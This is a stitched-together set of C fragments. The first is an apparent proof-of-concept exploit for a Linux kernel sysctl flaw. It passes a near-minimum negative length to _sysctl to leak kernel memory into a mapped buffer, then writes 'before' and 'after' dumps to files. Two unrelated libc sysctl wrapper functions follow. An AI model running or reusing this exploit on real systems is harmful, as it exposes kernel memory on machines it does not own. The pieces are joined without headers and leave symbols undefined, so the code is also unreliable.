int main(int argc, const char* argv[]) { struct __sysctl_args args_of_great_doom; int names[2] = { CTL_KERN, KERN_NODENAME }; /* Minus 2 billion - somewhere close to biggest negative int */ int dodgy_len = -2000000000; int fd; char* p_buf; fd = open("/dev/zero", O_RDWR); p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE, fd, 0); memset(p_buf, '\0', BUFLEN); fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777); write(fd, p_buf, BUFLEN); args_of_great_doom.name = names; args_of_great_doom.nlen = 2; args_of_great_doom.oldval = p_buf; args_of_great_doom.oldlenp = &dodgy_len; args_of_great_doom.newval = 0; args_of_great_doom.newlen = 0; _sysctl(&args_of_great_doom); fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777); write(fd, p_buf, BUFLEN); }
int sysctl(SYSCTL_CONST int *name, u_int namelen, void *oldp, size_t * oldlenp, const void *newp, size_t newlen) { _DIAGASSERT(name != NULL); if (newp != (void *) NULL) goto real; if (KVER_NOT_INITIALIZED) kver_initialize(); if (KVER_BADLY_INITIALIZED || namelen != 2) goto real; if (name[0] == CTL_KERN) { size_t len; int r = 0; switch (name[1]) { case KERN_OSRELEASE: SYSCTL_STRING(oldp, oldlenp, kver.osrelease); return (r); case KERN_OSREV: if (oldlenp) { if (!oldp) *oldlenp = sizeof(int); else { if (*oldlenp < sizeof(int)) return (ENOMEM); *oldlenp = sizeof(int); *((int *) oldp) = kver.osrevision; } } return (r); case KERN_VERSION: SYSCTL_STRING(oldp, oldlenp, kver.version); return (r); } } real: return (_sysctl(name, namelen, oldp, oldlenp, newp, newlen)); }
int sysctl(int *name, int nlen, void *oldval, size_t *oldlenp, void *newval, size_t newlen) { struct __sysctl_args args={name,nlen,oldval,oldlenp,newval,newlen }; return _sysctl(&args); }